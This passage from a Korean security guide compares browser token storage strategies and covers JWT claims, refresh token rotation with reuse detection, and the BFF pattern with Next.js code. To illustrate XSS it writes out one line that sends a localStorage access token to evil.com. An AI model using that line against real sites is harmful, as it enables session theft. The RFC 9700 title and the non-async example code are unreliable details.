│ │ - 의미 없는 문자열: "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" │ │
│ │ - 서버 조회 필수: 토큰으로 DB/캐시에서 세션 정보 조회 │ │
│ │ - 즉시 폐기 가능: DB에서 삭제하면 즉시 무효화 │ │
│ │ - 정보 누출 없음: 토큰에 아무 정보도 없음 │ │
│ │ - 크기가 작음: 보통 32-64 바이트 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 2025 업계 표준 조합: │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ Access Token = 단기 JWT (5-15분) │ │
│ │ ├── 로컬 검증으로 성능 확보 │ │
│ │ ├── 짧은 수명으로 탈취 영향 최소화 │ │
│ │ └── 폐기 불필요 (곧 만료되므로) │ │
│ │ │ │
│ │ Refresh Token = Opaque + 서버 사이드 저장 │ │
│ │ ├── 즉시 폐기 가능 (로그아웃, 보안 사고) │ │
│ │ ├── 정보 누출 없음 │ │
│ │ └── Rotation으로 탈취 탐지 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
4.3 JWT 토큰 구조 상세
┌─────────────────────────────────────────────────────────────────────────────┐
│ JWT 표준 클레임 (RFC 7519) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Header: │
│ { │
│ "typ": "at+jwt", // 토큰 타입 (at+jwt = Access Token용 JWT) │
│ "alg": "RS256", // 서명 알고리즘 (RS256 권장, HS256 비권장) │
│ "kid": "key-2025-03" // 키 식별자 (키 순환 지원) │
│ } │
│ │
│ Payload: │
│ { │
│ "iss": "https://auth.example.com", // Issuer (발급자) │
│ "sub": "user_abc123", // Subject (사용자 식별자) │
│ "aud": "https://api.example.com", // Audience (수신 대상) ⚡중요 │
│ "exp": 1741219200, // Expiration (만료 시간) │
│ "iat": 1741218300, // Issued At (발급 시간) │
│ "jti": "unique-token-id-xyz", // JWT ID (고유 식별자) │
│ "scope": "read:profile write:settings", // 권한 범위 │
│ "client_id": "spa-client-001" // 클라이언트 식별자 │
│ } │
│ │
│ ⚡ aud (Audience) 검증이 중요한 이유: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ aud를 검증하지 않으면 "Confused Deputy" 공격 가능 │ │
│ │ │ │
│ │ 시나리오: │ │
│ │ 1. 공격자가 evil-app.com에서 받은 AT를 │ │
│ │ 2. api.example.com에 제출 │ │
│ │ 3. aud 미검증 시 → 유효한 JWT로 처리됨! │ │
│ │ │ │
│ │ 방어: Resource Server는 반드시 aud == 자신의 URL인지 확인 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 서명 알고리즘 권장: │
│ ┌──────────┬──────────────┬──────────────────────────────────┐ │
│ │ 알고리즘 │ 키 종류 │ 권장 여부 │ │
│ ├──────────┼──────────────┼──────────────────────────────────┤ │
│ │ RS256 │ RSA 비대칭 │ ✅ 가장 널리 사용, 공개키 검증 │ │
│ │ ES256 │ ECDSA 비대칭 │ ✅ RS256보다 작고 빠름 │ │
│ │ EdDSA │ Ed25519 │ ✅ 최신, 가장 빠름 │ │
│ │ HS256 │ HMAC 대칭 │ ⚠️ 단일 서비스만, 키 공유 위험 │ │
│ │ none │ 없음 │ ❌ 절대 금지 (alg:none 공격) │ │
│ └──────────┴──────────────┴──────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5. 토큰 저장 전략 비교
5.1 localStorage
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 1: localStorage │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 브라우저의 영구 키-값 저장소 (Origin별 격리) │
│ 용량: ~5-10MB │
│ 수명: 명시적 삭제 전까지 영구 보존 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// localStorage 저장 예시
function login(credentials) {
const response = await fetch('/auth/login', {
method: 'POST',
body: JSON.stringify(credentials),
});
const { accessToken, refreshToken } = await response.json();
// ⚠️ 위험: 토큰이 JS로 접근 가능한 곳에 저장됨
localStorage.setItem('access_token', accessToken);
localStorage.setItem('refresh_token', refreshToken);
}
// API 요청 시
function apiCall(url) {
const token = localStorage.getItem('access_token');
return fetch(url, {
headers: { Authorization: `Bearer ${token}` },
});
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ❌ 치명적 - 모든 JS 코드가 접근 가능 │
│ CSRF 저항성 │ ✅ 안전 - 쿠키가 아니므로 자동 전송 없음 │
│ 지속성 │ ✅ 영구 - 브라우저 닫아도 유지 │
│ 탭 격리 │ ❌ 없음 - 같은 Origin의 모든 탭에서 공유 │
│ 복잡도 │ ⬇️ 낮음 - 가장 단순한 구현 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ 구체적 공격 시나리오: │
│ 1. 서드파티 스크립트(광고, 분석)가 XSS 취약점 포함 │
│ 2. 공격 코드: fetch('//evil.com?t=' + localStorage.getItem('access_token'))│
│ 3. 토큰 완전 탈취 → 공격자가 피해자로 위장하여 API 호출 │
│ │
│ OWASP 판정: ❌ 사용 금지 │
│ "Do not store session identifiers in local storage as the data is │
│ always accessible by JavaScript. Cookies can mitigate this risk │
│ using the httpOnly flag." │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.2 sessionStorage
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 2: sessionStorage │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 탭/윈도우별 격리된 키-값 저장소 │
│ 용량: ~5MB │
│ 수명: 탭 닫으면 삭제 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// sessionStorage 저장 예시
sessionStorage.setItem('access_token', accessToken);
// 탭별 격리 - 새 탭 열면 빈 상태
// window.open() 으로 열면 복사됨, 직접 URL 입력 시 빈 상태
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ❌ 치명적 - localStorage와 동일하게 JS 접근 가능 │
│ CSRF 저항성 │ ✅ 안전 - 쿠키가 아니므로 자동 전송 없음 │
│ 지속성 │ ⚠️ 탭 한정 - 새로고침 시 유지, 탭 닫으면 삭제 │
│ 탭 격리 │ ✅ 있음 - 각 탭이 독립 저장소 │
│ 복잡도 │ ⬇️ 낮음 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ localStorage 대비 장점: │
│ - 탭별 격리로 한 탭 침해 시 다른 탭 토큰은 안전 │
│ - 탭 닫으면 자동 정리 │
│ │
│ 여전한 문제: │
│ - 같은 탭 내에서 XSS로 토큰 탈취 가능 │
│ - OWASP JWT Cheat Sheet에서는 sessionStorage를 "허용 가능"으로 평가 │
│ 하지만 in-memory/Web Worker보다 안전하지 않음 │
│ │
│ OWASP 판정: ⚠️ localStorage보다 나으나 권장하지 않음 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.3 HttpOnly Cookie
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 3: HttpOnly Cookie │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 서버가 Set-Cookie로 설정, JS 접근 차단 │
│ 용량: ~4KB per cookie │
│ 수명: Max-Age/Expires에 따라 결정 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// 서버 측 (Node.js/Express)
app.post('/auth/login', async (req, res) => {
const { accessToken, refreshToken } = await authenticate(req.body);
// Refresh Token을 HttpOnly 쿠키로 설정
res.cookie('__Host-Http-RT', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/auth/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7일
});
// Access Token은 응답 본문으로 (메모리에 저장)
res.json({ accessToken });
});
// 클라이언트 측
async function refreshAccessToken() {
// 쿠키가 자동으로 포함됨 (credentials: 'include')
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include', // HttpOnly 쿠키 자동 전송
});
const { accessToken } = await res.json();
return accessToken; // 메모리에 저장
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ✅ 토큰 탈취 방어 - JS로 쿠키 값 읽기 불가 │
│ CSRF 저항성 │ ⚠️ 위험 - 쿠키 자동 전송 → SameSite + CSRF 토큰 필요 │
│ 지속성 │ ✅ Max-Age까지 유지 │
│ 탭 격리 │ ❌ 없음 - 모든 탭에서 동일 쿠키 전송 │
│ 복잡도 │ 중간 - 서버 측 설정 필요 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ 잔여 리스크: │
│ - XSS로 토큰은 못 훔쳐도 인증된 API 요청 가능 (fetch + credentials) │
│ - SameSite=Strict 없이는 CSRF 공격에 취약 │
│ - 쿠키 크기 제한 (4KB)으로 큰 JWT 저장 부적합 │
│ │
│ OWASP 판정: ✅ SameSite와 함께 사용 시 권장 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.4 In-Memory (Closure)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 4: In-Memory (Closure 패턴) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: JS 클로저/모듈 스코프 변수에 토큰 보관 │
│ 용량: JS 힙 메모리 제한 │
│ 수명: 페이지 새로고침/탭 닫기 시 소멸 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// In-Memory 토큰 관리 (Closure 패턴)
const tokenManager = (() => {
let _accessToken = null; // 클로저로 보호
return {
setToken(token) {
_accessToken = token;
},
getToken() {
return _accessToken;
},
clearToken() {
_accessToken = null;
},
};
})();
// 사용
tokenManager.setToken(accessToken);
// API 호출
async function apiCall(url) {
let token = tokenManager.getToken();
if (!token || isExpired(token)) {
// HttpOnly 쿠키의 RT로 갱신
token = await refreshAccessToken();
tokenManager.setToken(token);
}
return fetch(url, {
headers: { Authorization: `Bearer ${token}` },
});
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ⚠️ 상당히 어렵지만 불가능하지 않음 │
│ CSRF 저항성 │ ✅ 안전 - Authorization 헤더 사용 │
│ 지속성 │ ❌ 없음 - 새로고침 시 소멸 (RT 쿠키로 재발급) │
│ 탭 격리 │ ✅ 있음 - 각 탭이 독립 메모리 │
│ 복잡도 │ 중간 - 새로고침 시 토큰 재발급 로직 필요 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ 잔여 리스크: │
│ - Prototype Pollution: Object.prototype 오염으로 getter 가로채기 가능 │
│ - 메모리 덤프: 브라우저 개발자 도구로 힙 검사 가능 │
│ - XSS가 존재하면 결국 인증된 요청 자체를 대리 실행 가능 │
│ │
│ Auth0 평가: ✅ Access Token 저장에 권장 │
│ "Store access tokens in memory. They will be lost on page refresh, │
│ but this is acceptable with refresh token rotation." │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.5 Web Worker
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 5: Web Worker (최상위 권장) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 별도 스레드의 Worker에서 토큰 관리 및 API 호출 대행 │
│ 용량: Worker 힙 메모리 │
│ 수명: Worker 종료 시 소멸 (페이지 새로고침) │
│ │
│ ┌────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ Main Thread (XSS 공격 표면) Web Worker (격리됨) │ │
│ │ ┌──────────────────────┐ ┌──────────────────┐ │ │
│ │ │ │ │ │ │ │
│ │ │ document.cookie ❌ │ │ accessToken ✅ │ │ │
│ │ │ localStorage ❌ │ msg │ refreshToken ✅ │ │ │
│ │ │ 토큰 접근 불가 │ ←───→ │ fetch 대행 │ │ │
│ │ │ │ │ │ │ │
│ │ └──────────────────────┘ └──────────────────┘ │ │
│ │ │ │
│ │ Main Thread의 XSS가 Worker의 메모리에 접근 불가! │ │
│ │ Worker에는 document, window, DOM API가 없음 │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
// auth-worker.js (Web Worker)
let accessToken = null;
self.addEventListener('message', async (e) => {
const { type, url, options } = e.data;
switch (type) {
case 'SET_TOKEN':
accessToken = e.data.token;
break;
case 'API_CALL':
// 토큰이 만료되었으면 갱신
if (!accessToken || isExpired(accessToken)) {
const res = await fetch('/auth/refresh', {
method: 'POST',
credentials: 'include', // HttpOnly 쿠키 전송
});
const data = await res.json();
accessToken = data.accessToken;
}
// Worker가 직접 API 호출 (토큰이 Main Thread에 노출되지 않음)
const response = await fetch(url, {
...options,
headers: {
...options?.headers,
Authorization: `Bearer ${accessToken}`,
},
});
const result = await response.json();
self.postMessage({ type: 'API_RESULT', url, data: result });
break;
case 'LOGOUT':
accessToken = null;
await fetch('/auth/logout', { method: 'POST', credentials: 'include' });
self.postMessage({ type: 'LOGGED_OUT' });
break;
}
});
// main.js (Main Thread)
const authWorker = new Worker('/auth-worker.js');
async function secureApiCall(url, options) {
return new Promise((resolve) => {
authWorker.addEventListener('message', function handler(e) {
if (e.data.type === 'API_RESULT' && e.data.url === url) {
authWorker.removeEventListener('message', handler);
resolve(e.data.data);
}
});
authWorker.postMessage({ type: 'API_CALL', url, options });
});
}
┌─────────────────────────────────────────────────────────────────────────────┐
│ 보안 프로필 │
├────────────────┬────────────────────────────────────────────────────────────┤
│ XSS 저항성 │ ✅✅ 매우 강함 - Main Thread XSS가 Worker 메모리 접근 불가│
│ CSRF 저항성 │ ✅ 안전 - Authorization 헤더 사용 │
│ 지속성 │ ❌ 없음 - Worker 종료 시 소멸 │
│ 탭 격리 │ ✅ 있음 - Worker는 탭별 독립 │
│ 복잡도 │ ⬆️ 높음 - Worker 통신 + 메시지 기반 아키텍처 │
├────────────────┴────────────────────────────────────────────────────────────┤
│ │
│ Auth0 평가: ✅✅ SPA 최상위 권장 │
│ "Use a Web Worker to handle token storage and API calls. │
│ This isolates tokens from the main thread where XSS operates." │
│ │
│ 잔여 리스크: │
│ - Worker 스크립트 자체가 변조되면 무력화 (CSP로 방어) │
│ - postMessage 인터페이스를 통한 간접 공격 가능성 │
│ - SharedArrayBuffer 등으로 Worker 메모리 접근 시도 (브라우저가 차단) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.6 Service Worker
┌─────────────────────────────────────────────────────────────────────────────┐
│ 전략 6: Service Worker │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 메커니즘: 네트워크 프록시로 동작, 모든 fetch 요청에 토큰 자동 주입 │
│ 용량: Worker 메모리 + CacheStorage + IndexedDB │
│ 수명: SW 등록 해제 전까지 유지 (새로고침에도 생존) │
│ │
│ 장점: │
│ ├── 새로고침에도 토큰 유지 (Web Worker와 차별점) │
│ ├── 모든 네트워크 요청을 가로채서 투명하게 토큰 주입 │
│ └── 오프라인 캐시 + 인증 조합 가능 │
│ │
│ 위험: │
│ ├── SW 하이재킹: XSS로 악성 SW 등록 시 모든 요청 감청 가능 │
│ ├── DOM Clobbering: SW 등록 스크립트 변조 가능성 │
│ ├── 생명주기 복잡: 업데이트, activate, 캐시 관리 어려움 │
│ └── 디버깅 난이도 매우 높음 │
│ │
│ OWASP 판정: ⚠️ 주의하여 사용 (Web Worker보다 공격 표면 넓음) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
5.7 6가지 전략 종합 비교
┌──────────────────────────────────────────────────────────────────────────────────────┐
│ 토큰 저장 전략 종합 비교 매트릭스 │
├────────────────┬────────┬────────┬────────┬────────────┬────────┬──────┬─────────────┤
│ 전략 │ XSS │ CSRF │ 지속성 │ 크로스 탭 │ 복잡도 │ OWASP│ 종합 점수 │
│ │ 저항성 │ 저항성 │ │ 공유 │ │ 판정 │ (10점 만점) │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ localStorage │ ❌ │ ✅ │ ✅ │ ✅ 공유 │ 낮음 │ ❌ │ 3/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ sessionStorage │ ❌ │ ✅ │ ⚠️ 탭 │ ❌ 격리 │ 낮음 │ ⚠️ │ 4/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ HttpOnly Cookie│ ✅ │ ⚠️ │ ✅ │ ✅ 공유 │ 중간 │ ✅ │ 7/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ In-Memory │ ⚠️ │ ✅ │ ❌ │ ❌ 격리 │ 중간 │ ✅ │ 7/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ Web Worker │ ✅✅ │ ✅ │ ❌ │ ❌ 격리 │ 높음 │ ✅✅ │ 9/10 │
├────────────────┼────────┼────────┼────────┼────────────┼────────┼──────┼─────────────┤
│ Service Worker │ ✅ │ ✅ │ ✅ │ ✅ 공유 │ 매우높 │ ⚠️ │ 6/10 │
├────────────────┴────────┴────────┴────────┴────────────┴────────┴──────┴─────────────┤
│ │
│ ⚡ 2025 최적 조합: │
│ Access Token → Web Worker (메모리) 또는 In-Memory (Closure) │
│ Refresh Token → HttpOnly + Secure + SameSite=Strict 쿠키 │
│ │
└──────────────────────────────────────────────────────────────────────────────────────┘
6. Refresh Token Rotation과 재사용 탐지
6.1 Token Rotation 메커니즘
┌─────────────────────────────────────────────────────────────────────────────┐
│ Refresh Token Rotation 동작 원리 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 기본 원칙: RT를 사용할 때마다 새 RT를 발급하고, 사용된 RT는 즉시 무효화 │
│ │
│ 정상 흐름: │
│ │
│ 클라이언트 인가 서버 │
│ │ │ │
│ │ 1. RT_1로 갱신 요청 │ │
│ │ ──────────────────────────→ │ │
│ │ │ 2. RT_1 유효 확인 │
│ │ │ 3. RT_1 무효화 │
│ │ │ 4. 새 AT_2 + RT_2 발급 │
│ │ 5. AT_2 + RT_2 수신 │ │
│ │ ←────────────────────────── │ │
│ │ │ │
│ │ 6. RT_2로 갱신 요청 │ │
│ │ ──────────────────────────→ │ │
│ │ │ 7. RT_2 유효 확인 │
│ │ │ 8. RT_2 무효화 │
│ │ │ 9. 새 AT_3 + RT_3 발급 │
│ │ 10. AT_3 + RT_3 수신 │ │
│ │ ←────────────────────────── │ │
│ │ │ │
│ ▼ ▼ │
│ 각 RT는 한 번만 사용 가능 → 탈취되어도 경쟁 조건 발생 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.2 Token Family 개념
┌─────────────────────────────────────────────────────────────────────────────┐
│ Token Family (토큰 가족) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Token Family = 하나의 로그인 세션에서 파생된 모든 RT의 계보 │
│ │
│ 로그인 │
│ │ │
│ ├── RT_1 (family_id: "fam_abc") │
│ │ │ │
│ │ └── (사용) → RT_2 (family_id: "fam_abc") │
│ │ │ │
│ │ └── (사용) → RT_3 (family_id: "fam_abc") │
│ │ │ │
│ │ └── (사용) → RT_4 (family_id: "fam_abc")│
│ │ │
│ └── 모두 동일한 family_id를 공유 │
│ │
│ 서버 저장 구조 (예시): │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ { │ │
│ │ "family_id": "fam_abc", │ │
│ │ "user_id": "user_123", │ │
│ │ "current_token_hash": "hash(RT_4)", │ │
│ │ "used_tokens": ["hash(RT_1)", "hash(RT_2)", "hash(RT_3)"],│ │
│ │ "created_at": "2026-03-01T00:00:00Z", │ │
│ │ "last_used_at": "2026-03-05T10:30:00Z" │ │
│ │ } │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.3 자동 재사용 탐지 (Automatic Reuse Detection)
┌─────────────────────────────────────────────────────────────────────────────┐
│ 재사용 탐지 시나리오 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 정상 사용자가 RT_2를 가지고 있음 │
│ 2. 공격자가 어떤 경로로 RT_2를 탈취 │
│ │
│ 시나리오 A: 정상 사용자가 먼저 사용 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ 정상 사용자: RT_2 사용 → AT_3 + RT_3 수신 (RT_2 무효화) │ │
│ │ 공격자: RT_2 사용 시도 │ │
│ │ → ❌ 이미 무효화됨! 거부 │ │
│ │ → 서버: "사용된 RT 재사용 감지!" │ │
│ │ → 해당 Token Family 전체 무효화 (RT_3도 무효!) │ │
│ │ → 정상 사용자도 재로그인 필요 (안전 우선) │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 시나리오 B: 공격자가 먼저 사용 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ 공격자: RT_2 사용 → AT_3' + RT_3' 수신 (RT_2 무효화) │ │
│ │ 정상 사용자: RT_2 사용 시도 │ │
│ │ → ❌ 이미 무효화됨! 거부 │ │
│ │ → 서버: "사용된 RT 재사용 감지!" │ │
│ │ → 해당 Token Family 전체 무효화 (RT_3'도 무효!) │ │
│ │ → 공격자의 토큰도 무효화됨 │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 핵심: 어느 쪽이 먼저 사용하든, 재사용이 감지되면 가족 전체 무효화 │
│ → 공격자는 탈취한 RT로 지속적 접근 불가 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.4 네트워크 불안정을 위한 Grace Period
┌─────────────────────────────────────────────────────────────────────────────┐
│ Grace Period (유예 기간) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 문제 상황: │
│ 클라이언트가 RT_2로 갱신 요청 → 서버가 RT_3 발급 │
│ → 네트워크 오류로 응답이 클라이언트에 도달하지 못함 │
│ → 클라이언트는 RT_2만 보유, 서버는 RT_2를 무효화한 상태 │
│ → 클라이언트가 RT_2 재사용 → 재사용으로 오탐! 가족 전체 무효화 │
│ │
│ 해결: Grace Period │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ 서버가 RT를 무효화할 때: │ │
│ │ - 즉시 삭제하지 않고 "사용됨" 표시 + 타임스탬프 기록 │ │
│ │ - 설정 가능한 유예 시간 (예: 30초) 동안 │ │
│ │ 같은 RT의 재사용을 허용하고 동일한 응답 반환 │ │
│ │ - 유예 시간 초과 후 재사용 → 진짜 재사용 공격으로 판단 │ │
│ │ │ │
│ │ 구현 예시: │ │
│ │ const GRACE_PERIOD_MS = 30_000; // 30초 │ │
│ │ │ │
│ │ if (token.usedAt && │ │
│ │ Date.now() - token.usedAt < GRACE_PERIOD_MS) { │ │
│ │ // 유예 기간 내 → 이전 발급 결과 재전송 │ │
│ │ return cachedResponse; │ │
│ │ } else if (token.usedAt) { │ │
│ │ // 유예 기간 초과 → 재사용 공격! │ │
│ │ await invalidateTokenFamily(token.familyId); │ │
│ │ throw new TokenReuseError(); │ │
│ │ } │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
6.5 RFC 9700 (2025년 1월) 요구사항
┌─────────────────────────────────────────────────────────────────────────────┐
│ RFC 9700: OAuth 2.0 for Browser-Based Applications │
│ (2025년 1월 발행) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Public Client (SPA 등)에 대한 RT 보안 요구사항: │
│ │
│ MUST (필수): │
│ ├── Refresh Token Rotation 적용 │
│ │ 또는 │
│ ├── Sender-Constraining (DPoP/mTLS) 적용 │
│ │ │
│ └── 둘 중 하나 이상을 반드시 구현해야 함 │
│ │
│ SHOULD (권장): │
│ ├── RT 수명 제한 (무기한 RT 금지) │
│ ├── 재사용 탐지 구현 │
│ ├── 재사용 감지 시 가족 전체 무효화 │
│ └── 비활성 RT 자동 만료 (idle timeout) │
│ │
│ 이전 관행 vs RFC 9700: │
│ ┌─────────────────────────────┬────────────────────────────────────┐ │
│ │ 이전 │ RFC 9700 │ │
│ ├─────────────────────────────┼────────────────────────────────────┤ │
│ │ iframe silent auth │ 서드파티 쿠키 차단으로 사용 불가 │ │
│ │ 장기 RT 단독 사용 │ Rotation 또는 DPoP 필수 │ │
│ │ Implicit Grant (토큰 직발급)│ 완전 제거됨 │ │
│ │ RT 무기한 유효 │ 수명 제한 필수 │ │
│ └─────────────────────────────┴────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7. BFF (Backend-for-Frontend) 패턴
7.1 IETF 권장 사항
┌─────────────────────────────────────────────────────────────────────────────┐
│ IETF draft-ietf-oauth-browser-based-apps-26 (2025년 12월) │
│ "OAuth 2.0 for Browser-Based Applications" │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 브라우저 앱의 OAuth 토큰 처리에 대한 3가지 구조: │
│ │
│ Tier 1: BFF (Full Proxy) ← 가장 강력, IETF 최우선 권장 │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 브라우저에 토큰이 전혀 노출되지 않음 │ │
│ │ 모든 OAuth 흐름이 서버에서 처리 │ │
│ │ 브라우저 ↔ BFF: HttpOnly 쿠키만 사용 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Tier 2: Token-Mediating Backend │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 서버가 토큰 발급/갱신 담당 │ │
│ │ AT는 브라우저에 전달 가능 (in-memory) │ │
│ │ RT는 서버에 유지 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Tier 3: Browser Client (Public Client) │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 브라우저가 직접 OAuth 흐름 수행 │ │
│ │ PKCE + Rotation + DPoP 등 최대한의 클라이언트 보안 필요 │ │
│ │ BFF 불가 시 차선책 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.2 BFF 아키텍처
┌─────────────────────────────────────────────────────────────────────────────┐
│ BFF 패턴 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ │
│ 브라우저 (SPA) BFF 서버 API 서버 │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ Cookie │ │ Bearer │ │ │
│ │ React / │ ───────→ │ Node.js / │ ───────→ │ Resource │ │
│ │ Next.js / │ │ Spring / │ │ Server │ │
│ │ Vue │ ←─────── │ Express │ ←─────── │ │ │
│ │ │ Cookie │ │ JSON │ │ │
│ └──────────────┘ └──────┬───────┘ └──────────────┘ │
│ │ │
│ 토큰 없음! │ 토큰 저장 │
│ HttpOnly 쿠키만 ├── Access Token (메모리/Redis) │
│ 알고 있음 ├── Refresh Token (메모리/Redis) │
│ └── 세션 ↔ 토큰 매핑 │
│ │
│ │
│ 흐름: │
│ 1. 브라우저 → BFF: /api/data 요청 (HttpOnly 세션 쿠키 자동 포함) │
│ 2. BFF: 세션 쿠키로 사용자 식별 → 저장된 AT 조회 │
│ 3. BFF → API: Authorization: Bearer {AT} 헤더로 요청 │
│ 4. AT 만료 시: BFF가 RT로 자동 갱신 (브라우저 무관여) │
│ 5. API → BFF → 브라우저: 응답 전달 │
│ │
│ 핵심 이점: │
│ ├── 브라우저에 토큰 노출 제로 (XSS로 토큰 탈취 원천 차단) │
│ ├── Client Secret 사용 가능 (Confidential Client) │
│ ├── RT Rotation/DPoP 없어도 안전 (토큰이 서버에만 존재) │
│ └── 복잡한 OAuth 로직을 서버에서 처리 (프론트엔드 단순화) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.3 구현 예시: Next.js App Router
// app/api/auth/login/route.ts (Next.js App Router BFF)
import { cookies } from 'next/headers';
import { NextResponse } from 'next/server';
export async function POST(request: Request) {
const { username, password } = await request.json();
// 1. OAuth Authorization Server에 토큰 요청
const tokenResponse = await fetch(`${process.env.AUTH_SERVER}/oauth/token`, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'password',
client_id: process.env.CLIENT_ID!,
client_secret: process.env.CLIENT_SECRET!, // BFF는 Confidential Client!
username,
password,
scope: 'openid profile',
}),
});
const { access_token, refresh_token, expires_in } = await tokenResponse.json();
// 2. 세션 생성 및 토큰 서버 사이드 저장 (Redis 등)
const sessionId = crypto.randomUUID();
await redis.set(`session:${sessionId}`, JSON.stringify({
accessToken: access_token,
refreshToken: refresh_token,
expiresAt: Date.now() + expires_in * 1000,
}), { EX: 30 * 24 * 60 * 60 }); // 30일
// 3. 세션 ID만 HttpOnly 쿠키로 설정
const cookieStore = await cookies();
cookieStore.set('__Host-Http-SID', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
maxAge: 30 * 24 * 60 * 60, // 30일
});
return NextResponse.json({ success: true });
}
// app/api/proxy/[...path]/route.ts (API 프록시)
export async function GET(
request: Request,
{ params }: { params: { path: string[] } }
) {
const cookieStore = await cookies();
const sessionId = cookieStore.get('__Host-Http-SID')?.value;
if (!sessionId) {
return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
}
// 세션에서 토큰 조회
let session = JSON.parse(await redis.get(`session:${sessionId}`) || 'null');
if (!session) {
return NextResponse.json({ error: 'Session expired' }, { status: 401 });
}
// AT 만료 시 자동 갱신
if (Date.now() >= session.expiresAt) {
const refreshed = await refreshTokens(session.refreshToken);
session = { ...session, ...refreshed };
await redis.set(`session:${sessionId}`, JSON.stringify(session));
}
// API 서버에 Bearer 토큰으로 요청
const apiPath = params.path.join('/');
const apiResponse = await fetch(`${process.env.API_SERVER}/${apiPath}`, {
headers: {
Authorization: `Bearer ${session.accessToken}`,
'Content-Type': 'application/json',
},
});
return NextResponse.json(await apiResponse.json());
}
